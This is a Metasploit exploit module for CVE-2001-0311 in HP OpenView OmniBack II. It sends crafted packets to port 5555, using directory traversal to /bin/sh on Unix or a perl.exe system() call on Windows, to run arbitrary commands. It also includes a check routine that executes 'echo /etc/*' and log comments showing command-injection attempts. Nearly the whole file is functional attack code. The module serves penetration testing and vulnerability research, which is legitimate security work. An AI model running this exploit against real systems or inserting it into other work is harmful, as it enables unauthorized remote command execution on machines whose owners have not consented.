##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HP OpenView OmniBack II Command Execution',
      'Description'    => %q{
          This module uses a vulnerability in the OpenView Omniback II
        service to execute arbitrary commands. This vulnerability was
        discovered by DiGiT and his code was used as the basis for this
        module.

        For Microsoft Windows targets, due to module limitations, use the
        "unix/cmd/generic" payload and set CMD to your command. You can only
        pass a small amount of characters (4) to the command line on Windows.
      },
      'Author'         => [ 'hdm', 'aushack' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2001-0311'],
          ['OSVDB', '6018'],
          ['BID', '11032'],
          ['URL', 'http://www.securiteam.com/exploits/6M00O150KG.html'],
        ],
      'Platform'       => ['unix'], # win
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl telnet',
            }
        },
      'Targets'        =>
        [
          [ 'Unix', { }],
          [ 'Windows', { }],
        ],
      'DisclosureDate' => 'Feb 28 2001',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(5555)
      ])
  end

  def check

    if (target.name =~ /Unix/)
      connect

      poof =
        "\x00\x00\x00.2"+
        "\x00 a"+
        "\x00 0"+
        "\x00 0"+
        "\x00 0"+
        "\x00 A"+
        "\x00 28"+
        "\x00/../../../bin/sh"+
        "\x00\x00"+
        "digit "+
        "AAAA\n\x00"

      sock.put(poof)
      sock.put("echo /etc/*;\n")
      res = sock.get_once(-1, 5)
      disconnect

      if !(res and res.length > 0)
        vprint_status("The remote service did not reply to our request")
        return Exploit::CheckCode::Safe
      end

      if (res =~ /passwd|group|resolv/)
        vprint_status("The remote service is exploitable")
        return Exploit::CheckCode::Vulnerable
      end

      return Exploit::CheckCode::Safe
    end

    if (target.name =~ /Windows/)
      connect

      poof =
        "\x00\x00\x00.2"+
        "\x00 a"+
        "\x00 0"+
        "\x00 0"+
        "\x00 0"+
        "\x00 A"+
        "\x00 28"+
        "\x00\\perl.exe"+
        "\x00\x20-e\x20system(dir)\x00\x00"+
        "digit "+
        "AAAA\n\x00"

      sock.put(poof)
      res = sock.get_once(-1, 5)
      disconnect

      print_status(res.to_s)

      if !(res and res.length > 0)
        print_status("The remote service did not reply to our request")
        return Exploit::CheckCode::Safe
      end

      if (res =~ /V.o.l.u.m.e/) #Unicode
        print_status("The remote service is exploitable")
        return Exploit::CheckCode::Vulnerable
      end

      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    if (target.name =~ /Unix/)
      connect

      poof =
        "\x00\x00\x00.2"+
        "\x00 a"+
        "\x00 0"+
        "\x00 0"+
        "\x00 0"+
        "\x00 A"+
        "\x00 28"+
        "\x00/../../../bin/sh"+
        "\x00\x00"+
        "digit "+
        "AAAA\n\x00"

      sock.put(poof)
      sock.put(payload.encoded + ";\n")
      res = sock.get_once(-1, 5)

      if !(res and res.length > 0)
        print_status("The remote service did not reply to our request")
        disconnect
        return
      end

      print(res)

      handler
      disconnect
    end

    if (target.name =~ /Windows/)

      # aushack
      #
      # Tested during pen test against Windows 2003 server.
      # Windows Service details:
      # - Data Protector Inet
      # -> [HP OpenView Storage Data Protector] - Backup client service
      # -> "C:\Program Files\OmniBack\bin\omniinet.exe"
      # -> OmniInet service for Windows NT
      # -> File version: 6.0.0.0
      #
      # This needs to be cleaned up later. Preferably using the Windows/cmd/perl payloads.
      #
      # Notes:
      # I was unable to use directory traversal, OR (||) or AND (&&) techniques to directly run cmd.exe
      # Perhaps a difference in Windows/Unix code? Logs:
      #
      #11/11/2008 12:18:37 PM  INET.5112.1884 ["inetnt/allow_deny.c /main/dp56/dp60_fix/2":496] A.06.00 bDPWIN_00384
      #A request 28 (..\foo.exe) came from host [attacker] which is not a cell manager of this client
      #
      #11/11/2008 12:18:37 PM  INET.5112.1884 ["inetnt/ntinet.c /main/dp56/dp60_fix/2":5170] A.06.00 bDPWIN_00384
      #[RxNtIntegUtil] parameter refused: ..\foo.exe
      #
      #11/11/2008 12:21:59 PM  INET.5112.1884 ["inetnt/allow_deny.c /main/dp56/dp60_fix/2":496] A.06.00 bDPWIN_00384
      #A request 28 (x.exe || cmd /c dir > c:) came from host [attacker] which is not a cell manager of this client
      #
      #11/11/2008 12:21:59 PM  INET.5112.1884 ["inetnt/ntinet.c /main/dp56/dp60_fix/2":5170] A.06.00 bDPWIN_00384
      #[RxNtIntegUtil] parameter refused: x.exe || cmd /c dir > c:
      #
      #11/11/2008 12:22:40 PM  INET.5112.1884 ["inetnt/allow_deny.c /main/dp56/dp60_fix/2":496] A.06.00 bDPWIN_00384
      #A request 28 (perl.exe && cmd /c dir >) came from [attacker] which is not a cell manager of this client
      #
      #11/11/2008 12:22:40 PM  INET.5112.1884 ["inetnt/ntinet.c /main/dp56/dp60_fix/2":5170] A.06.00 bDPWIN_00384
      #[RxNtIntegUtil] parameter refused: perl.exe && cmd /c dir >

      connect

      poof =
        "\x00\x00\x00.2"+
        "\x00 a"+
        "\x00 0"+
        "\x00 0"+
        "\x00 0"+
        "\x00 A"+
        "\x00 28"+
        "\x00\\perl.exe"+
        "\x00\x20-esystem(#{payload.encoded})\x00\x00"+
        "digit "+
        "AAAA\n\x00"

      sock.put(poof)
      #sock.put(payload.encoded + "\n")
      res = sock.get_once(-1, 5)

      if !(res and res.length > 0)
        print_status("The remote service did not reply to our request")
        disconnect
        return
      end

      print(res)

      handler
      disconnect
    end
  end
end
